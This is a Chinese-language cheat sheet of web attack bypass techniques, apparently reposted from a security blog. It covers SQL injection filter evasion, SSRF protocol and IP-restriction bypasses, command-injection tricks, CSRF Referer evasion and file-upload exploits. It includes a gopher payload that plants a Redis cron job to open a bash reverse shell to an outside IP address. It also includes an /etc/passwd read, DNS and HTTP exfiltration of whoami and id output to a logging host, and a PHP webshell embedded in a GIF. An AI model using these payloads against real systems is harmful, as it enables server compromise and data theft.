1. 程式人生 > >Web中常見的繞過和技巧

Web中常見的繞過和技巧

是否 cgi asa string there oop users 鏈接 客戶

SQL註入

十六進制繞過引號

slect table_name from information_schema.table where table_schema="sqli";

slect table_name from information_schema.table where table_schema=0x73716c69;

slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105);

技術分享圖片

like或者in繞過等號

select * from admin where id in (1,2,3,4);

select * from admin where id like 1;

技術分享圖片

join繞過逗號

SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),‘ ‘,database(),‘ ‘,@@datadir)

SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),‘ ‘,database(),‘ ‘,@@datadir))C)

技術分享圖片

技術分享圖片

limit逗號的繞過

select * from admin limit 0,2;

select * from admin limit 2 offset 0;

技術分享圖片

between繞過等號

select * from admin where id between 1 and 3;

技術分享圖片

空格繞過

select * from admin where id=1;

select/**/*/**/from/**/admin/**/where/**/id=1;

select/*1*/*from/*1*/admin/*1*/where/*1*/id=1;

select * from admin where id=1;

技術分享圖片

符號代替文字繞過

  • &&代替and

  • ||代替or

  • | 代替 xor

MySQL註釋

技術分享圖片

SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;

等價函數替換

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()
substr((select ‘password‘),1,1) = 0x70

   strcmp(left(‘password‘,1), 0x69) = 1

   strcmp(left(‘password‘,1), 0x70) = 0

   strcmp(left(‘password‘,1), 0x71) = -1
mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

SSRF

限制協議繞過

通過HTTP(S)的鏈接302跳轉到gopher協議上。

<?php  
$schema = $_GET[‘s‘];
$ip = $_GET[‘i‘];
$port = $_GET[‘p‘];
$query = $_GET[‘q‘];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
# dict protocol - 探測Redis
dict://127.0.0.1:6379/info
curl -vvv ‘http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info‘

# file protocol - 任意文件讀取
curl -vvv ‘http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd‘

# gopher protocol - 一鍵反彈Bash
# * 註意: gopher跳轉的時候轉義和`url`入參的方式有些區別
curl -vvv ‘http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a‘

IP限制繞過

利用[::]

利用[::]繞過localhost
http://[::]:80/ >>> http://127.0.0.1

在windows嘗試了chrome Firefox IE都無法訪問

在Linux下Firefox是可以訪問的。

技術分享圖片

Linux下curl wget也是可以訪問的。

技術分享圖片

技術分享圖片

利用@

http://[email protected]   =>  http://127.0.0.1

firefox下會彈出提示框。chrome直接跳轉。

利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用xip.io和xip.name

10.0.0.1.xip.io 10.0.0.1

www.10.0.0.1.xip.io 10.0.0.1

mysite.10.0.0.1.xip.io 10.0.0.1

foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1

www.10.0.0.2.xip.name resolves to 10.0.0.2

foo.10.0.0.3.xip.name resolves to 10.0.0.3

bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

技術分享圖片

利用DNS解析

在域名上設置A記錄,指向127.0.1

技術分享圖片

利用進制轉換

十進制 ---||||||> 十六進制 ---||||||> 八進制 然後在訪問時 指定協議然後加個0

http://0[八進制] 比如 115.239.210.26 首先用.分割數字 115 239 210 26 然後選擇10進制轉換16進制!

(要用0來表示前綴,可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣!)

首先把這四段數字給 轉成 16 進制!結果:73 ef d2 1a 然後把 73efd21a 這十六進制一起轉換成8進制!

結果:16373751032

然後指定協議 http:// 用0表示前綴 加上結果 鏈接:

http://0016373751032

利用Enclosed alphanumerics

利用Enclosed alphanumerics
???????.??? >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

技術分享圖片

利用句號

127。0。0。1  >>>  127.0.0.1

技術分享圖片

命令執行

空格繞過

< 符號

%09 符號

IFS$9 符號

${IFS} 符號

技術分享圖片

%0a 符號

%0d 符號

%09 符號

技術分享圖片

變量形式繞過

a=who;b=am;c=i;$a$b$c

技術分享圖片

base64編碼

`echo "d2hvYW1p"|base64 -d`

技術分享圖片

DNS通道獲取回顯

linux:

curl xxxx.ceye.io/`whoami`

ping -c 1 `whoami`.xxxx.ceye.io

技術分享圖片

技術分享圖片

特殊字符或者是空格出現的話,這時候可以通過一些編碼來,比如base64

curl http://xxxx.ceye.io/$(id|base64)

技術分享圖片

windows:

http請求:
for /F %x in (‘whoami‘) do start http://xxx.ceye.io/%x

技術分享圖片

技術分享圖片

dns請求:
獲取計算機名:for /F "delims=" %i in (‘whoami‘) do ping -n 1 %i.t00ls.xxx.tu4.org
獲取用戶名:for /F "delims= tokens=2" %i in (‘whoami‘) do ping -n 1 %i.t00ls.xxx.tu4.org

ceye.io獲取不到回顯,嘗試了用t00ls的T00ls DNSLOG

技術分享圖片

單引號和雙引號

單引號雙引號要成對出現

技術分享圖片

CSRF 繞過Referer

條件限制 不一定所有的Refere驗證就可以繞過

Referer為空條件下

利用ftp://,http://,https://,file://,javascript:,data:這個時候瀏覽器地址欄是file://開頭的

如果這個HTML頁面向任何http站點提交請求的話,這些請求的Referer都是空的。

利用https協議 https向http跳轉的時候Referer為空

判斷Referer是某域情況下繞過

比如你找的csrf是xxx.com 驗證的referer是驗證的*.xx.com

可以找個二級域名 之後<img "csrf地址"="">之後在把文章地址發出去 就可以偽造。

判斷Referer是否存在某關鍵詞

referer判斷存在不存在google.com這個關鍵詞

在網站新建一個google.com目錄 把CSRF存放在google.com目錄,即可繞過

判斷referer是否有某域名

判斷了Referer開頭是否以126.com以及126子域名 不驗證根域名為126.com

那麽我這裏可以構造子域名x.126.com.xxx.com

文件上傳

解析漏洞

IIS6.0解析漏洞

IIS6.0會把以下3種類型的文件會被IIS當作腳本文件(ASP、PHP、ASPX)來解析執行

  • a.asp;.jpg

  • /a.asp/2018042500310015.jpg

  • a.cer、a.asa、a.cdx IIS6.0會把這三種後綴當作ASP來執行。

Apache解析漏洞

在低版本的Apache中,系統會從右向左識別後綴,直至找到一個可以識別的後綴,然後將文件以該可識別的後綴進行解析。

shell.php.v1.xxx

-- 系統無法識別xxx後綴名,則判斷v1後綴名
-- 系統仍無法識別v1後綴名,則判斷php後綴名
-- 系統可識別php後綴名,則將文件作為PHP文件解析

Nginx解析漏洞

Nginx<=0.8.37,在已上傳到服務器的包含WEBSHELL代碼的圖片後面加上%00.php會將 /xx.jpg%00.php當作PHP文件來進行解析執行。

CGI解析漏洞

?CGI的解析漏洞主要影響IIS>7.0 和 Nginx 這兩個WEB容器,它的產生原因是因為PHP.ini中cgi.fix_pathinfo=1,從而導致把其他格式文件按照PHP腳本來進行解析執行。

??Payload:

http://IP/圖片馬地址/a.php

遇到這種環境,攻擊者只需要找到一個上傳點,然後上傳一個圖片馬,然後訪問圖片構造Payload即可獲取WEBSHELL。但此情景只能以PHP腳本解析執行文件。

客戶端檢測繞過(JavaScript檢測)

這類檢測通常在上傳頁面裏含有專門檢測文件上傳的javascript代碼最常見的就是檢測擴展名是否合法

可以用firebug之類的插件把它禁掉或者通過burp之類的代理工具進行繞過提交

用burp進行代理修改先將文件擴展名改成jpg

服務端檢測繞過(MIME檢測)

MIME驗證是通過獲取上傳文件時數據包中Content-Type的值來判斷文件是否合法的。以下是常見圖片的後綴和Content-Type對應表:

後綴   Content-Type

.jpg image/jpeg
.gif image/gif
.png image/png

MIME驗證只需要攻擊者抓取上傳數據包,將數據包中的Content-Type的值修改為合法圖片的Content-Type值即可繞過。

服務端檢測繞過(目錄路徑檢測)

目錄路徑檢測,一般就檢測路徑是否合法

洞成因是因為對目錄路徑的檢測不夠嚴謹而導致可以用0x00截斷進行攻擊

服務端檢測繞過(文件擴展名檢測)

  • 文件名大小寫繞過

  • 名單列表繞過

  • 特殊文件名繞過

  • 0x00截斷繞過

  • htaccess文件攻擊

  • 解析調用/漏洞繞過

服務端檢測繞過(文件內容檢測)

  • 文件幻數檢測

技術分享圖片

  • 文件相關信息檢測

圖像文件相關信息檢測常用的就是getimagesize()函數只需要把文件頭部分偽造好就ok了,

就是在幻數的基礎上還加了一些文件信息有點像下面的結構

GIF89a
(...somebinarydataforimage...)
<?phpphpinfo();?>
(...skippingtherestofbinarydata...)
  • 文件加載檢測

常見的是圖像渲染測試,再變態點的甚至是進行二次渲染

對渲染/加載測試的攻擊方式是代碼註入繞過

對二次渲染的攻擊方式是攻擊文件加載器自身

渲染/加載測試攻擊-代碼註入繞過

可以用圖像處理軟件對一張圖片進行代碼註入

用winhex看數據可以分析出這類工具的原理是

在不破壞文件本身的渲染情況下

找一個空白區進行填充代碼,

一般會是圖片的註釋區對於渲染測試基本上都能繞過,畢竟本身的文件結構是完整的

from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html

Web中常見的繞過和技巧